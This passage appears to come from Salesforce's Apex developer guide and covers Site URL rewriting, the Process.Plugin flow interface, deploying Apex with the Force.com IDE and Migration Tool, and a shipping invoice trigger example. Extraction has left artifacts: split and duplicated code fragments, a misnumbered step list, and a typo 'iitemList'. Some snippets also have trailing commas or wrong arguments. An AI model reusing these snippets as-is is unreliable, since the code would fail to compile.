The Apex class must implement both the `mapRequestUrl` and `generateUrlFor` methods. If you don’t want to use one of the methods, simply have it return `null`.

#### Rewriting Only Works for Visualforce Site Pages

Incoming URL requests can only be mapped to Visualforce pages associated with your site. You can’t map to standard pages, images, or other entities.

To rewrite URLs for links on your site’s pages, use the `!URLFOR` function with the `$Page` merge variable. For example, the following links to a Visualforce page named `myPage`:

```html
<apex:outputLink value="!URLFOR($Page.myPage)"></apex:outputLink>
```
Note: Visualforce `<apex:form>` elements with `forceSSL="true"` aren't affected by the `urlRewriter`.

See the “Functions” appendix of the Visualforce Developer's Guide.

**Encoded URLs**

The URLs you get from using the `Site[urlRewriter]` interface are encoded. If you need to access the unencoded values of your URL, use the `urlDecode` method of the `EncodingUtil` class.

**Restricted Characters**

User-friendly URLs must be distinct from Salesforce URLs. URLs with a three-character entity prefix or a 15- or 18-character ID are not rewritten.

You can’t use periods in your rewritten URLs.

**Restricted Strings**

You can’t use the following reserved strings as part of a rewritten URL path:

- `apexcomponent`
- `apexpages`
- `ex`
- `faces`
- `flash`
- `flex`
- `google`
- `home`
- `ideas`
- `images`
- `img`
- `javascript`
- `js`
- `lumen`
- `m`
- `resource`
- `search`
- `secur`
- `services`
- `servlet`
- `setup`
- `sfc`
- `sfdc_ns`
- `site`
- `style`
- `vote`
- `widg`
Relative Paths Only

The `pageReference.getUrl` method only returns the part of the URL immediately following the host name or site prefix (if any). For example, if your URL is `http://mycompany.force.com/sales/MyPage?id=12345`, where “sales” is the site prefix, only `/MyPage?id=12345` is returned.

You can’t rewrite the domain or site prefix.

Unique Paths Only

You can’t map a URL to a directory that has the same name as your site prefix. For example, if your site URL is `http://acme.force.com/help`, where “help” is the site prefix, you can’t point the URL to `help/page`. The resulting path, `http://acme.force.com/help/help/page`, would be returned instead as `http://acme.force.com/help/page`.

Query in Bulk

For better performance with page generation, perform tasks in bulk rather than one at a time for the `generateUrlFor` method.

Enforce Field Uniqueness

Make sure the fields you choose for rewriting URLs are unique. Using unique or indexed fields in SOQL for your queries may improve performance.

You can also use the `Site.lookupIdByFieldValue` method to look up records by a unique field name and value. The method verifies that the specified field has a unique or external ID; otherwise it returns an error.

Here is an example, where `mynamespace` is the namespace, `Blog` is the custom object name, `title` is the custom field name, and `myBlog` is the value to look for:

```java
Site.lookupIdByFieldValue(Schema.sObjectType.
    mynamespace__Blog__c.fields.title__c,'myBlog');
```

Adding URL Rewriting to a Site

Once you’ve created the URL rewriting Apex class, follow these steps to add it to your site:

1. Click **Your Name ➤ Setup ➤ Develop ➤ Sites**.
2. Click **New** or click **Edit** for an existing site.
3. On the Site Edit page, choose an Apex class for **URL Rewriter Class**.
4. Click **Save**.

   **Note:** If you have URL rewriting enabled on your site, all `PageReference`s are passed through the URL rewriter.

Code Example

In this example, we have a simple site consisting of two Visualforce pages: `mycontact` and `myaccount`. Be sure you have “Read” permission enabled for both before trying the sample. Each page uses the standard controller for its object type. The contact page includes a link to the parent account, plus contact details.

Before implementing rewriting, the address bar and link URLs showed the record ID (a random 15-digit string), illustrated in the “before” figure. Once rewriting was enabled, the address bar and links show more user-friendly rewritten URLs, illustrated in the “after” figure.

The Apex class used to rewrite the URLs for these pages is shown in **Example URL Rewriting Apex Class**, with detailed comments.
**Example Site Pages**

This section shows the Visualforce for the account and contact pages used in this example.

The account page uses the standard controller for accounts and is nothing more than a standard detail page. This page should be named myaccount.

```apex
<apex:page standardController="Account">
    <apex:detail relatedList="false"/>
</apex:page>
```

The contact page uses the standard controller for contacts and consists of two parts. The first part links to the parent account using the `URLFOR` function and the `$Page` merge variable; the second simply provides the contact details. Notice that the Visualforce page doesn't contain any rewriting logic except `URLFOR`. This page should be named mycontact.

```apex
<apex:page standardController="contact">
    <apex:pageBlock title="Parent Account">
        <apex:outputLink value="{!URLFOR($Page.mycontact,null,
            [id=contact.account.id])}">{!contact.account.name}</apex:outputLink>
    </apex:pageBlock>
    <apex:detail relatedList="false"/>
</apex:page>
```

**Example URL Rewriting Apex Class**

The Apex class used as the URL rewriter for the site uses the `mapRequestUrl` method to map incoming URL requests to the right Salesforce record. It also uses the `generateUrlFor` method to rewrite the URL for the link to the account page in a more user-friendly form.

```apex
global with sharing class myRewriter implements Site.UrlRewriter {
    //Variables to represent the user-friendly URLs for
    //account and contact pages
    String ACCOUNT_PAGE = '/myaccount/';
    String CONTACT_PAGE = '/mycontact/';
    //Variables to represent my custom Visualforce pages
    //that display account and contact information
    String ACCOUNT_VISUALFORCE_PAGE = '/myaccount?id=';
    String CONTACT_VISUALFORCE_PAGE = '/mycontact?id=';

    global PageReference mapRequestUrl(PageReference myFriendlyUrl) {
        String url = myFriendlyUrl.getUrl();
        if(url.startsWith(CONTACT_PAGE)) {
            //Extract the name of the contact from the URL
            //For example: /mycontact/Ryan returns Ryan
            String name = url.substring(CONTACT_PAGE.length(), url.length());

            //Select the ID of the contact that matches
            //the name from the URL
            Contact con = [select id from Contact where name =: name LIMIT 1];

            //Construct a new page reference in the form
            //of my Visualforce page
            return new PageReference(CONTACT_VISUALFORCE_PAGE + con.id);
        }
        if(url.startsWith(ACCOUNT_PAGE)) {
            //Extract the name of the account
            String name = url.substring(ACCOUNT_PAGE.length(), url.length());
```
url.length());

    //Query for the ID of an account with this name
    Account acc = [select id from Account where name =:name LIMIT 1];

    //Return a page in Visualforce format
    return new PageReference(ACCOUNT_VISUALFORCE_PAGE + acc.id);

} //If the URL isn't in the form of a contact or
//account page, continue with the request
return null;
}

global List<PageReference> generateUrlFor(List<PageReference> mySalesforceUrls){
    //A list of pages to return after all the links
    //have been evaluated
    List<PageReference> myFriendlyUrls = new List<PageReference>();

    //a list of all the ids in the urls
    List<id> accIds = new List<id>();

    // loop through all the urls once, finding all the valid ids
    for(PageReference mySalesforceUrl : mySalesforceUrls){
        //Get the URL of the page
        String url = mySalesforceUrl.getUrl();

        if(url.startsWith(ACCOUNT_VISUALFORCE_PAGE)){
            //Extract the ID from the query parameter
            //and store in a list
            //for querying later in bulk.
            String id= url.substring(ACCOUNT_VISUALFORCE_PAGE.length(),
                                url.length());
            accIds.add(id);
        }
    }

    // Get all the account names in bulk
    List <account> accounts = [select name from Account where id in :accIds];

    // make the new urls
    Integer counter = 0;

    // it is important to go through all the urls again, so that the order
    // of the urls in the list is maintained.
    for(PageReference mySalesforceUrl : mySalesforceUrls) {
        //Get the URL of the page
        String url = mySalesforceUrl.getUrl();

        if(url.startsWith(ACCOUNT_VISUALFORCE_PAGE)){
            myFriendlyUrls.add(new PageReference(ACCOUNT_PAGE + accounts.get(counter).name));
            counter++;  
        } else {
            //If this doesn't start like an account page,
            //don't do any transformations
            myFriendlyUrls.add(mySalesforceUrl);  
        }
    }

    //Return the full list of pages
    return myFriendlyUrls;
}
**Before and After Rewriting**

Here is a visual example of the results of implementing the Apex class to rewrite the original site URLs. Notice the ID-based URLs in the first figure, and the user-friendly URLs in the second.

**Figure 14: Site URLs Before Rewriting**

The numbered elements in this figure are:

1. The original URL for the contact page before rewriting
2. The link to the parent account page from the contact page
3. The original URL for the link to the account page before rewriting, shown in the browser’s status bar

**Figure 15: Site URLs After Rewriting**

The numbered elements in this figure are:

1. The rewritten URL for the contact page after rewriting
2. The link to the parent account page from the contact page
3. The rewritten URL for the link to the account page after rewriting, shown in the browser’s status bar

**Using the Process.Plugin Interface**

Process.plugin is a built-in interface that allows you to pass data between your organization and a specified flow. The interface exposes Apex as a service, which accepts input values and returns output back to the flow.

The Process.plugin interface works with the input table defined in the Apex callout element within your flow. You should write the Apex class that implements the interface before defining your Apex callout element in Flow Designer because you use the class name when configuring the Apex callout element.

Process.plugin has the following top level classes:

- **Process.PluginRequest**
- **Process.PluginResult**
- **Process.PluginDescribeResult**

The **Process.PluginRequest** class passes input parameters from the class that implements the interface to the flow.

The **Process.PluginResult** class returns output parameters from the class that implements the interface to the flow.

When invoking the class that implements the interface, the system automatically assigns the output from the class that invokes the interface to the associated value table configured in the Apex callout element in the flow.

The **Process.PluginRequest** class passes input parameters from a flow to the class that implements the interface. When invoking the class from a flow, the system automatically creates this class and passes in the input parameters based on the value table configured in the Apex callout element.

When you’re writing Apex unit tests, you must instantiate a class and pass it in the interface invoke method. You must also create a map and use it in the constructor to pass in the parameters needed by the system.

For more information, see **Process.PluginRequest Class** on page 427.

The **Process.PluginDescribeResult** class is used to determine the input parameters and output parameters needed by the **Process.PluginResult** plug-in.

**Process.Plugin Interface**

Process.plugin is a built-in interface that allows you to pass data between your organization and a specified flow.

The following are the methods that must be instantiated by the class that implements the Process.plugin interface:

<table>
<thead>
<tr>
<th>Name</th>
<th>Arguments</th>
<th>Return Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>describe</td>
<td></td>
<td>Process.PluginDescribeResult Class</td>
<td>Returns a Process.PluginDescribeResult Class that describes this method call. It has information about the number and type of both the input and output parameters.</td>
</tr>
<tr>
<td>invoke</td>
<td>Process.PluginRequest Class</td>
<td>Process.PluginResult Class</td>
<td>Primary method that the system invokes when the class that instantiates the interface is called.</td>
</tr>
</tbody>
</table>
Example Implementation

global class flowChat implements Process.Plugin {

    // The main method to be implemented. The Flow calls this at runtime.
    global Process.PluginResult invoke(Process.PluginRequest request) {
        // Get the subject of the Chatter post from the flow
        String subject = (String) request.inputParameters.get('subject');

        // Use the Chatter APIs to post it to the current user's feed
        FeedPost fpost = new FeedPost();
        fpost.ParentId = UserInfo.getUserId();
        fpost.Body = 'Force.com flow Update: ' + subject;
        insert fpost;

        // return to Flow
        Map<String,Object> result = new Map<String,Object>();
        return new Process.PluginResult(result);
    }

    // Returns the describe information for the interface
    global Process.PluginDescribeResult describe() {
        Process.PluginDescribeResult result = new Process.PluginDescribeResult();
        result.inputParameters = new List<Process.PluginDescribeResult.InputParameter>{
            new Process.PluginDescribeResult.InputParameter('subject',
                Process.PluginDescribeResult.ParameterType.STRING, true)
        };
        result.outputParameters = new List<Process.PluginDescribeResult.OutputParameter>{ };
        return result;
    }
}

Test Class

The following is a test class for the above class.

@isTest
public class flowChatTest {

    public static testmethod void flowChatTests() {
        flowChat plugin = new flowChat();
        Map<String,Object> inputParams = new Map<String,Object>();

        string feedSubject = 'Flow is alive';
        InputParams.put('subject', feedSubject);
        Process.PluginRequest request = new Process.PluginRequest(inputParams);

        plugin.invoke(request);
    }
}

Process.PluginRequest Class

The Process.PluginRequest class passes input parameters from the class that implements the interface to the flow. This class has no methods.
Constructor signature:

```java
Process.PluginRequest (Map<String, Object>)
```

The following is an example of instantiating the `Process.PluginRequest` class with one input parameter:

```java
Map<String, Object> inputParams = new Map<String, Object>();
string feedSubject = 'Flow is alive';
InputParams.put('subject', feedSubject);
Process.PluginRequest request = new Process.PluginRequest(inputParams);
```

**Code Example**

In this example, the code returns the subject of a Chatter post from a flow and posts it to the current user's feed.

```java
global Process.PluginResult invoke(Process.PluginRequest request) {
    // Get the subject of the Chatter post from the flow
    String subject = (String) request.inputParameters.get('subject');

    // Use the Chatter APIs to post it to the current user's feed
    FeedPost fpost = new FeedPost();
    fpost.ParentId = UserInfo.getUserId();
    fpost.Body = 'Force.com flow Update: ' + subject;
    insert fpost;

    // return to Flow
    Map<String, Object> result = new Map<String, Object>();
    return new Process.PluginResult(result);
}
```

```java
// describes the interface

global Process.PluginDescribeResult describe() {
    Process.PluginDescribeResult result = new Process.PluginDescribeResult();
    result.inputParameters = new List<Process.PluginDescribeResult.InputParameter>{{
        new Process.PluginDescribeResult.InputParameter('subject',
            Process.PluginDescribeResult.ParameterType.STRING, true)
    }};
    result.outputParameters = new List<Process.PluginDescribeResult.OutputParameter>{};
    return result;
}
```

**Process.PluginResult Class**

The `Process.PluginResult` class returns output parameters from the class that implements the interface to the flow. When invoking the class that implements the interface, the system automatically assigns the output from the class that invokes the interface to the associated value table configured in the Apex callout element in the flow.

You can instantiate the `Process.PluginResult` class using one of the following formats:

- `Process.PluginResult (Map<String, Object>)`
- `Process.PluginResult (String, Object)`

Use the map when you have more than one result or when you don't know how many results will be returned.

The following is an example of instantiating a `Process.PluginResult` class.

```java
string url = 'https://docs.google.com/document/edit?id=abc';
String status = 'Success';
Map<String, Object> result = new Map<String, Object>();
result.put('url', url);
```
result.put('status', status);
new Process.PluginResult(result);

**Process.PluginDescribeResult Class**

The `Process.PluginDescribeResult` class is used to determine the input parameters and output parameters needed by the `Process.PluginResult` class.

Use the `Process.Plugin` interface `describe` method to dynamically discover both input and output parameters for the flow. This method returns the `Process.PluginDescribeResult` class.

The following is the constructor for the `Process.PluginDescribeResult` class:

```java
Process.PluginDescribeResult classname = new Process.PluginDescribeResult();
```

To use the `Process.PluginDescribeResult` class, define the following additional subclasses:

- `Process.PluginDescribeResult.InputParameter`
- `Process.PluginDescribeResult.OutputParameter`

`Process.PluginDescribeResult.InputParameter` is a list of input parameters and has the following format:

```java
Process.PluginDescribeResult.inputParameters =
new List<Process.PluginDescribeResult.InputParameter>(
    new Process.PluginDescribeResult.InputParameter('Descriptive_string',
        Process.PluginDescribeResult.ParameterType.Enumeration, Boolean_required)
);
```

For example:

```java
Process.PluginDescribeResult result = new Process.PluginDescribeResult();
result.inputParameters = new List<Process.PluginDescribeResult.InputParameter>(
    new Process.PluginDescribeResult.InputParameter('FullName',
        Process.PluginDescribeResult.ParameterType.STRING, true),
    new Process.PluginDescribeResult.InputParameter('DOB',
        Process.PluginDescribeResult.ParameterType.DATE, true),
);
```

`Process.PluginDescribeResult.OutputParameter` is a list of output parameters and has the following format:

```java
    new Process.PluginDescribeResult.OutputParameter('Descriptive_string',
        Process.PluginDescribeResult.ParameterType.Enumeration)
);
```

For example:

```java
Process.PluginDescribeResult result = new Process.PluginDescribeResult();
result.outputParameters = new List<Process.PluginDescribeResult.OutputParameter>(
    new Process.PluginDescribeResult.OutputParameter('URL',
        Process.PluginDescribeResult.ParameterType.STRING),
);
```

Both classes take the `Process.PluginDescribeResult.ParameterType` `Enum`, which has the following values:

- `BOOLEAN`
- `DATE`
- `DATETIME`
- `DECIMAL`
- `DOUBLE`
For example:

```java
Process.PluginDescribeResult result = new Process.PluginDescribeResult();
result.outputParameters = new List<Process.PluginDescribeResult.OutputParameter>{
    new Process.PluginDescribeResult.OutputParameter('URL',
        Process.PluginDescribeResult.ParameterType.STRING, true),
    new Process.PluginDescribeResult.OutputParameter('STATUS',
        Process.PluginDescribeResult.ParameterType.STRING),
};
```

**Process.Plugin Data Type Conversions**

The following shows the data type conversions between Apex and the values returned to the `Process.Plugin`. For example, text data in a flow converts to string data in Apex.

<table>
<thead>
<tr>
<th>Flow Data Type</th>
<th>Data Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>Number</td>
<td>Decimal</td>
</tr>
<tr>
<td>Date</td>
<td>Datetime/Date</td>
</tr>
<tr>
<td>Boolean</td>
<td>Boolean and numeric with 1 or 0 values only</td>
</tr>
<tr>
<td>Text</td>
<td>String</td>
</tr>
</tbody>
</table>
Chapter 14

Deploying Apex Scripts

In this chapter ...

• Using the Force.com IDE to Deploy Apex
• Using the Force.com Migration Tool
• Force.com Migration Tool Additional Deployment Methods

You cannot develop Apex in your Salesforce production organization. Live users accessing the system while you are developing can destabilize your data or corrupt your application. Instead, salesforce.com recommends that you do all your development work in either a sandbox or a Developer Edition organization.

Deploy code using the Force.com IDE, the Force.com Migration Tool, or additional deployment methods.
Using the Force.com IDE to Deploy Apex

The Force.com IDE is a plug-in for the Eclipse IDE. The Force.com IDE provides a unified interface for building and deploying Force.com applications. Designed for developers and development teams, the IDE provides tools to accelerate Force.com application development, including source code editors, test execution tools, wizards and integrated help. This tool includes basic color-coding, outline view, integrated unit testing, and auto-compilation on save with error message display.

To deploy Apex from a local project in the Force.com IDE to a Salesforce organization, use the Deploy to Server wizard.

**Note:** If you deploy to a production organization:

- 75% of your Apex code must be covered by unit tests, and all of those tests must complete successfully.

Note the following:

- When deploying to a production organization, every unit test in your organization namespace is executed.
- Calls to `System.debug` are not counted as part of Apex code coverage in unit tests.
- While only 75% of your Apex code must be covered by tests, your focus shouldn't be on the percentage of code that is covered. Instead, you should make sure that every use case of your application is covered, including positive and negative cases, as well as bulk and single record. This should lead to 75% or more of your code being covered by unit tests.

- Every trigger has some test coverage.
- All classes and triggers compile successfully.

For more information on how to use the Deploy to Server wizard, see “Deploying to Another Salesforce Organization” in the Force.com IDE documentation, which is available within Eclipse.

Using the Force.com Migration Tool

In addition to the Force.com IDE, you can also use a script to deploy Apex.

Download the Force.com Migration Tool if you want to use a script for deploying Apex from a Developer Edition or sandbox organization to a Salesforce production organization using Apache's Ant build tool.

To use the Force.com Migration Tool, do the following:

3. Set up the environment variables (such as `ANT_HOME`, `JAVA_HOME`, and `PATH`) as specified in the Ant Installation Guide at [http://ant.apache.org/manual/install.html](http://ant.apache.org/manual/install.html).
4. Verify that the JDK and Ant are installed correctly by opening a command prompt, and entering `ant -version`. Your output should look something like this:

   Apache Ant version 1.7.0 compiled on December 13 2006

5. Log in to Salesforce on your deployment machine. Click **Your Name ➤ Setup ➤ Develop ➤ Tools**, then click Force.com Migration Tool.
6. Unzip the downloaded file to the directory of your choice. The Zip file contains the following:

   - A `Readme.html` file that explains how to use the tools
A Jar file containing the ant task: `ant-salesforce.jar`

A sample folder containing:

- A `codepkg\classes` folder that contains `SampleDeployClass.cls` and `SampleFailingTestClass.cls`
- A `codepkg\triggers` folder that contains `SampleAccountTrigger.trigger`
- A `mypkg\objects` folder that contains the custom objects used in the examples
- A `removecodepkg` folder that contains XML files for removing the examples from your organization
- A sample `build.properties` file that you must edit, specifying your credentials, in order to run the sample ant tasks in `build.xml`
- A sample `build.xml` file, that exercises the deploy and retrieve API calls

7. Copy the `ant-salesforce.jar` file from the unzipped file into the ant lib directory. The ant lib directory is located in the root folder of your Ant installation.

8. Open the sample subdirectory in the unzipped file.

9. Edit the `build.properties` file:
   a. Enter your Salesforce production organization username and password for the `sf.user` and `sf.password` fields, respectively.
      
      **Note:** The username you specify should have the authority to edit Apex.

   b. If you are deploying to a sandbox organization, change the `sf.serverurl` field to `https://test.salesforce.com`.

10. Open a command window in the sample directory.

11. Enter `ant deployCode`. This runs the `deploy` API call, using the sample class and Account trigger provided with the Force.com Migration Tool.

    The `ant deployCode` calls the Ant target named `deploy` in the `build.xml` file.

    ```xml
    <!-- Shows deploying code & running tests for package 'codepkg' -->
    <target name="deployCode">
      <!-- Upload the contents of the "codepkg" package, running the tests for just 1 class -->
      <sf:deploy username="${sf.username}" password="${sf.password}" serverurl="${sf.serverurl}" deployroot="codepkg">
        <runTest>SampleDeployClass</runTest>
      </sf:deploy>
    </target>
    ```

    For more information on `deploy`, see Understanding `deploy` on page 433.

12. To remove the test class and trigger added as part of the execution of `ant deployCode`, enter the following in the command window: `ant undeployCode`.

    `ant undeployCode` calls the Ant target named `undeployCode` in the `build.xml` file.

    ```xml
    <target name="undeployCode">
      <sf:deploy username="${sf.username}" password="${sf.password}" serverurl="${sf.serverurl}" deployroot="removecodepkg"/>
    </target>
    ```

**Understanding deploy**

The `deploy` call completes successfully only if all of the following are true:
- 75% of your Apex code must be covered by unit tests, and all of those tests must complete successfully.

  Note the following:
  - When deploying to a production organization, every unit test in your organization namespace is executed.
  - Calls to `System.debug` are not counted as part of Apex code coverage in unit tests.
  - While only 75% of your Apex code must be covered by tests, your focus shouldn’t be on the percentage of code that is covered. Instead, you should make sure that every use case of your application is covered, including positive and negative cases, as well as bulk and single record. This should lead to 75% or more of your code being covered by unit tests.

- Every trigger has some test coverage.
- All classes and triggers compile successfully.

You cannot run more than one `deploy` Metadata API call at the same time.

The Force.com Migration Tool provides the task `deploy` which can be incorporated into your deployment scripts. You can modify the `build.xml` sample to include your organization’s classes and triggers. The properties of the `deploy` task are as follows:

  **username**
  - The username for logging into the Salesforce production organization.

  **password**
  - The password associated for logging into the Salesforce production organization.

  **serverURL**
  - The URL for the Salesforce server you are logging into. If you do not specify a value, the default is `www.salesforce.com`.

  **deployRoot**
  - The local directory that contains the Apex classes and triggers, as well as any other metadata, that you want to deploy. The best way to create the necessary file structure is to retrieve it from your organization or sandbox. See Understanding `retrieveCode` on page 435 for more information.

  - Apex class files must be in a subdirectory named **classes**. You must have two files for each class, named as follows:
    - `classname.cls`
    - `classname.cls-meta.xml`

    For example, `MyClass.cls` and `MyClass.cls-meta.xml`. The -meta.xml file contains the API version and the status (active/inactive) of the class.

  - Apex trigger files must be in a subdirectory named **triggers**. You must have two files for each trigger, named as follows:
    - `triggername.trigger`
    - `triggername.trigger-meta.xml`

    For example, `MyTrigger.trigger` and `MyTrigger.trigger-meta.xml`. The -meta.xml file contains the API version and the status (active/inactive) of the trigger.

  - The root directory contains an XML file `package.xml` that lists all the classes, triggers, and other objects to be deployed.

  - The root directory optionally contains an XML file `destructiveChanges.xml` that lists all the classes, triggers, and other objects to be deleted from your organization.
checkOnly

Specifies whether the classes and triggers are deployed to the target environment or not. This property takes a Boolean value: true if you do not want to save the classes and triggers to the organization, false otherwise. If you do not specify a value, the default is false.

runTests

The name of the class that contains the unit tests that you want to run.

Note: This parameter is ignored when deploying to a Salesforce production organization. Every unit test in your organization namespace is executed.

runAllTests

This property takes a Boolean value: true if you want run all tests in your organization, false if you do not. You should not specify a value for runTests if you specify true for runAllTests.

Note: This parameter is ignored when deploying to a Salesforce production organization. Every unit test in your organization namespace is executed.

Understanding retrieveCode

Use the retrieveCode call to retrieve classes and triggers from your sandbox or production organization. During the normal deploy cycle, you would run retrieveCode prior to deploy, in order to obtain the correct directory structure for your new classes and triggers. However, for this example, deploy is used first, to ensure that there is something to retrieve.

To retrieve classes and triggers from an existing organization, use the retrieve ant task as illustrated by the sample build target ant retrieveCode:

```xml
<target name="retrieveCode">
  <!-- Retrieve the contents listed in the file codepkg/package.xml into the codepkg directory -->
  <sf:retrieve username="${sf.username}" password="${sf.password}" serverurl="${sf.serverurl}" retrieveTarget="codepkg" unpackaged="codepkg/package.xml"/>
</target>
```

The file codepkg/package.xml lists the metadata components to be retrieved. In this example, it retrieves two classes and one trigger. The retrieved files are put into the directory codepkg, overwriting everything already in the directory.

The properties of the retrieve task are as follows:

username

The username for logging into the Salesforce production organization.

password

The password associated for logging into the Salesforce production organization.

serverURL

The URL for the Salesforce server you are logging into. If you do not specify a value, the default is www.salesforce.com.

apiversion

Which version of the Metadata API at which the files should be retrieved.
retrieveTarget

The directory into which the files should be copied.

unpackaged

The name of file that contains the list of files that should be retrieved. You should either specify this parameter or packageName.

packageName

The name of the package or packages that should be retrieved.

Table 3: build.xml retrieve target field settings

<table>
<thead>
<tr>
<th>Field</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>username</td>
<td>Required. The salesforce username for login.</td>
</tr>
<tr>
<td>password</td>
<td>Required. The username you use to log into the organization associated with this project. If you are using a security token, paste the 25-digit token value to the end of your password. The username associated with this connection must have Modify All Data permissions on their profile. Typically, this is only enabled for System Administrator users.</td>
</tr>
<tr>
<td>serverurl</td>
<td>Optional. The salesforce server URL (if blank, defaults to <a href="http://www.salesforce.com">www.salesforce.com</a>). This is useful for working against the Sandbox instance, test.salesforce.com.</td>
</tr>
<tr>
<td>pollWaitMillis</td>
<td>Optional, defaults to 5000. The number of milliseconds to wait between each poll of salesforce.com to retrieve the results.</td>
</tr>
<tr>
<td>maxPoll</td>
<td>Optional, defaults to 10. The number of times to poll salesforce.com for the results of the report.</td>
</tr>
<tr>
<td>retrieveTarget</td>
<td>Required. The root of the directory structure to retrieve the metadata files into.</td>
</tr>
<tr>
<td>unpackaged</td>
<td>Optional. The name of a file manifest that specifies the components to retrieve.</td>
</tr>
<tr>
<td>singlePackage</td>
<td>Optional, defaults to false. Specifies whether the contents being retrieved are a single package.</td>
</tr>
<tr>
<td>packageNames</td>
<td>Optional. A list of the names of the packages to retrieve.</td>
</tr>
<tr>
<td>specificFiles</td>
<td>Optional. A list of file names to retrieve.</td>
</tr>
</tbody>
</table>

Understanding runTests()

In addition to using deploy() with the Force.com Migration Tool, you can also use the runTests() API call. This call takes the following properties:

class

The name of the class that contains the unit tests. You can specify this property more than once.

alltests

Specifies whether to run all tests. This property takes a Boolean value: true if you want to run all tests, false otherwise.
namespace

The namespace that you would like to test. If you specify a namespace, all the tests in that namespace are executed.

**Force.com Migration Tool Additional Deployment Methods**

If you do not want to use the Force.com IDE or the Force.com Migration Tool to deploy Apex, you can use the following API to deploy your Apex to a development or sandbox organization:

- compileAndTest
- compileClasses
- compileTriggers

All these calls take an Apex script that contains the class or trigger, as well as the values for any fields that need to be set.
This appendix provides an example of an Apex application. This is a more complex example than the Hello World example.

- Shipping Invoice Example Walk-Through on page 438
- Shipping Invoice Example Code on page 440

Shipping Invoice Example Walk-Through

The sample application in this section includes traditional Salesforce functionality blended with Apex. Many of the syntactic and semantic features of Apex, along with common idioms, are illustrated in this application.

Note: The Hello World script and the shipping invoice example require custom fields and objects. You can either create these on your own, or download the objects, fields and Apex scripts as a managed packaged from Force.com AppExchange. For more information, see wiki.developerforce.com/index.php/Documentation.

Scenario

In this sample application, the user creates a new shipping invoice, or order, and then adds items to the invoice. The total amount for the order, including shipping cost, is automatically calculated and updated based on the items added or deleted from the invoice.

Data and Code Models

This sample application uses two new objects: Item and Shipping_invoice.

The following assumptions are made:

- Item A cannot be in both orders shipping_invoice1 and shipping_invoice2. Two customers cannot obtain the same (physical) product.
- The tax rate is 9.25%.
- The shipping rate is 75 cents per pound.
- Once an order is over $100, the shipping discount is applied (shipping becomes free).
The fields in the Item custom object include:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Name</td>
<td>String</td>
<td>The name of the item</td>
</tr>
<tr>
<td>Price</td>
<td>Currency</td>
<td>The price of the item</td>
</tr>
<tr>
<td>Quantity</td>
<td>Number</td>
<td>The number of items in the order</td>
</tr>
<tr>
<td>Weight</td>
<td>Number</td>
<td>The weight of the item, used to calculate shipping costs</td>
</tr>
<tr>
<td>Shipping_invoice</td>
<td>Master-Detail</td>
<td>The order this item is associated with</td>
</tr>
</tbody>
</table>

The fields in the Shipping_invoice custom object include:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Name</td>
<td>String</td>
<td>The name of the shipping invoice/order</td>
</tr>
<tr>
<td>Subtotal</td>
<td>Currency</td>
<td>The subtotal</td>
</tr>
<tr>
<td>GrandTotal</td>
<td>Currency</td>
<td>The total amount, including tax and shipping</td>
</tr>
<tr>
<td>Shipping</td>
<td>Currency</td>
<td>The amount charged for shipping (assumes $0.75 per pound)</td>
</tr>
<tr>
<td>ShippingDiscount</td>
<td>Currency</td>
<td>Only applied once when subtotal amount reaches $100</td>
</tr>
<tr>
<td>Tax</td>
<td>Currency</td>
<td>The amount of tax (assumes 9.25%)</td>
</tr>
<tr>
<td>TotalWeight</td>
<td>Number</td>
<td>The total weight of all items</td>
</tr>
</tbody>
</table>

All of the Apex for this application is contained in triggers. This application has the following triggers:

<table>
<thead>
<tr>
<th>Object</th>
<th>Trigger Name</th>
<th>When Runs</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Item</td>
<td>Calculate</td>
<td>after insert, after update, after delete</td>
<td>Updates the shipping invoice, calculates the totals and shipping</td>
</tr>
<tr>
<td>Shipping_invoice</td>
<td>ShippingDiscount</td>
<td>after update</td>
<td>Updates the shipping invoice, calculating if there is a shipping discount</td>
</tr>
</tbody>
</table>

The following is the general flow of user actions and when triggers run:
1. User clicks **Orders ➤ New**, names the shipping invoice and clicks **Save**.
2. User clicks **New Item**, fills out information, and clicks **Save**.
3. Calculate trigger runs. Part of the Calculate trigger updates the shipping invoice.
4. ShippingDiscount trigger runs.
5. User can then add, delete or change items in the invoice.

In **Shipping Invoice Example Code** both of the triggers and the test class are listed. The comments in the code explain the functionality.

**Testing the Shipping Invoice Application**

Before an application can be included as part of a package, 75% of the code must be covered by unit tests. Therefore, one piece of the shipping invoice application is a class used for testing the triggers.

The test class verifies the following actions are completed successfully:

- Inserting items
- Updating items
- Deleting items
- Applying shipping discount
- Negative test for bad input

**Shipping Invoice Example Code**

The following triggers and test class make up the shipping invoice example application:
Calculate Trigger

trigger calculate on Item__c (after insert, after update, after delete) 
{
    // Use a map because it doesn't allow duplicate values
    Map<ID, Shipping_Invoice__C> updateMap = new Map<ID, Shipping_Invoice__C>();
    // Set this integer to -1 if we are deleting
    Integer subtract = 1;
    // Populate the list of items based on trigger type
    List<Item__c> itemList;
    if(trigger.isInsert || trigger.isUpdate) {
        itemList = trigger.new;
    } else if(trigger.isDelete) {
        // Note -- there is no trigger.new in delete
        itemList = trigger.old;
        subtract = -1;
    }
    // Access all the information we need in a single query
    // rather than querying when we need it.
    // This is a best practice for bulkifying requests
    set<Id> AllItems = new set<id>();
    for(item__c i :iitemList){
        // Assert numbers are not negative.
        // None of the fields would make sense with a negative value
        System.assert(i.quantity__c > 0, 'Quantity must be positive');
        System.assert(i.weight__c >= 0, 'Weight must be non-negative');
        System.assert(i.price__c >= 0, 'Price must be non-negative');
        // If there is a duplicate Id, it won't get added to a set
        AllItems.add(i.Shipping_Invoice__C);
    }
    // Accessing all shipping invoices associated with the items in the trigger
    List<Shipping_Invoice__C> AllShippingInvoices = [SELECT id, ShippingDiscount__c,
                                                  SubTotal__c, TotalWeight__c, Tax__c, GrandTotal__c
                                                  FROM Shipping_Invoice__C where id in :AllItems];
    // Take the list we just populated and put it into a Map.
    // This will make it easier to look up a shipping invoice
    // because you must iterate a list, but you can use lookup for a map,
    Map<ID, Shipping_Invoice__C> SIMap = new Map<ID, Shipping_Invoice__C>();
    for(Shipping_Invoice__C sc : AllShippingInvoices)
    {
        SIMap.put(sc.id, sc);
    }
